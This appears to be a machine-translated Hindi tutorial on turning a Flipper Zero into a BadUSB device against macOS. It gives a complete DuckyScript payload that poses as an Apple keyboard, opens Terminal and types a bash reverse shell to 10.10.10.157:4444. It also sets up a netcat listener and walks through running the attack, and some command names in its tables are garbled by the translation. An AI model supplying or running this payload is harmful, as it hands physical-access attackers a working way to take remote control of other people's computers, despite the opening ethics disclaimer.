यह लेख इस बात का उदाहरण है कि फ़्लिपर ज़ीरो को एथिकल पेंटेस्टिंग बैडयूएसबी डिवाइस के रूप में कैसे इस्तेमाल किया जाए और इस तरह के शोषण का शिकार बनने से कैसे बचा जाए। इसका उपयोग उन कंप्यूटरों पर न करें जिनके आप स्वामी नहीं हैं या जिन्हें उपयोग करने की अनुमति नहीं है। यह कोड इंट्रूज़न डिटेक्शन सिस्टम्स (IDS), इंट्रूज़न प्रिवेंशन सिस्टम्स (IPS), नेटवर्क डिटेक्शन सिस्टम्स, फ़ायरवॉल या एंटी-वायरस (AV) सॉफ़्टवेयर से छिपाने का प्रयास नहीं करता है।
ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 200
STRING terminal
DELAY 200
ENTER
DELAY 1000
STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1
DELAY 1000
ENTER
DELAY 1000
आज्ञा | विवरण |
---|---|
आईडी 05एसी: 021ई ऐप्पल: कीबोर्ड | यह लाइन macOS को बताती है कि हमारा Flipper Zero वास्तव में एक Apple कीबोर्ड है। यदि आप इस लाइन का उपयोग नहीं करते हैं, तो macOS कीबोर्ड सेटअप असिस्टेंट डायलॉग प्रदर्शित करता है जिससे आपकी स्क्रिप्ट विफल हो जाएगी। |
देरी | यह कमांड ऑपरेटिंग सिस्टम को कुछ समय के लिए प्रतीक्षा करने का निर्देश देता है। यदि हम इन विलंबों का उपयोग नहीं करते हैं, तो स्क्रिप्ट बहुत तेजी से चलेगी और विफल हो जाएगी। |
जीयूआई स्पेस | 'स्पॉटलाइट सर्च' विंडो खोलने के लिए Apple कमांड की और स्पेस बार दबाता है। |
STRING टर्मिनल | स्पॉटलाइट खोज विंडो में स्ट्रिंग 'टर्मिनल' दर्ज करता है |
प्रवेश करना | अपने कीबोर्ड पर ENTER या रिटर्न कुंजी दबाएं। ENTER कुंजी दबाने के बाद, macOS टर्मिनल विंडो (/एप्लीकेशन/यूटिलिटीज/टर्मिनल) लॉन्च करता है |
STRING बैश -i >& /dev/tcp/10.10.10.157/4444 0>&1 | यह आदेश टेक्स्ट को टर्मिनल विंडो में प्रवेश करता है जो पोर्ट 4444 पर 10.10.10.157 पर सुनने वाले नेटकैट सर्वर से कनेक्शन स्थापित करता है |
IP पता 10.10.10.157 पर बदलें और पोर्ट 4444 को अपने सर्वर के IP पते और पोर्ट में बदलें।
इस फ़ाइल को अपनी डिस्क पर rev_shell_macos.txt के रूप में सहेजें। Flipper Zero पर badusb डायरेक्टरी के तहत कोई उपनिर्देशिका संगठन नहीं है, इसलिए यदि आप विभिन्न ऑपरेटिंग सिस्टम के लिए कई पेलोड का उपयोग कर रहे हैं, तो एक नामकरण सम्मेलन का उपयोग करें जो आपके लिए कुछ मायने रखता है ताकि आप जान सकें कि यह क्या करता है।
सामग्री देखने के लिए एसडी कार्ड आइकन का चयन करें और डबल-क्लिक करें।
हमारे द्वारा पहले बनाई गई Rev_shell_macos.txt फ़ाइल को Badusb फ़ोल्डर में ढूंढें और खींचें।
$ nc -nlvp 4444
आज्ञा | विकल्प |
---|---|
एनसी | नेटकैट कमांड |
-एनएलवीपी | ( n ) कोई DNS रिज़ॉल्यूशन नहीं, ( l ) आने वाले कनेक्शन के लिए सुनें, ( v ) वर्बोज़ आउटपुट, ( p ) पोर्ट |
4444 | सुनने के लिए पोर्ट नंबर |
अब जब हमारा नेटकैट श्रोता तैयार है और आने वाले कनेक्शन की प्रतीक्षा कर रहा है, तो हम फ्लिपर ज़ीरो बैडयूएसबी हमले के साथ आगे बढ़ सकते हैं।
कठिन हिस्सा किया जाता है। फ़्लिपर ज़ीरो बैडयूएसबी रिवर्स_शेल_मैकोस.टीएक्सटी फ़ाइल लिखी गई है, फ़्लिपर ज़ीरो में ले जाया गया है, और नेटकैट श्रोता एक कनेक्शन की प्रतीक्षा कर रहा है।
उस डकीस्क्रिप्ट फ़ाइल पर नेविगेट करें जिसे हमने पिछले चरण में कॉपी किया था। अगर आपको यह फ़ाइल दिखाई नहीं देती है तो आपने इसे गलत निर्देशिका में कॉपी किया है। Rev_shell_macos चुनें और रन बटन पर क्लिक करें।
जब आप Connect to USB अलर्ट देखते हैं, तो आप अपने Flipper Zero को अपने iMac या MacBook के USB पोर्ट से कनेक्ट कर सकते हैं। रन बटन पर क्लिक करें।
आप मुख्य विंडो में अपने BadUSB स्क्रिप्ट की प्रगति देख सकते हैं। एक बार जब स्थिति 100% तक पहुंच जाती है तो पेलोड पूरा हो जाता है और आप फ्लिपर जीरो को हटा सकते हैं।
यदि आप iMac के कंप्यूटर के मॉनिटर को देख रहे हैं तो आप शोषण देख सकते हैं क्योंकि यह डकीस्क्रिप्ट को निष्पादित करता है। हमारे उबंटू सर्वर पर नेटकैट श्रोता सफल अनुरोध के परिणाम प्रदर्शित करता है।
आप फ़ाइल सिस्टम को नेविगेट करने और ऑपरेटिंग सिस्टम में हेरफेर करने के लिए नियमित लिनक्स कमांड जैसे कि whoami , pwd , ls , या cd का उपयोग कर सकते हैं।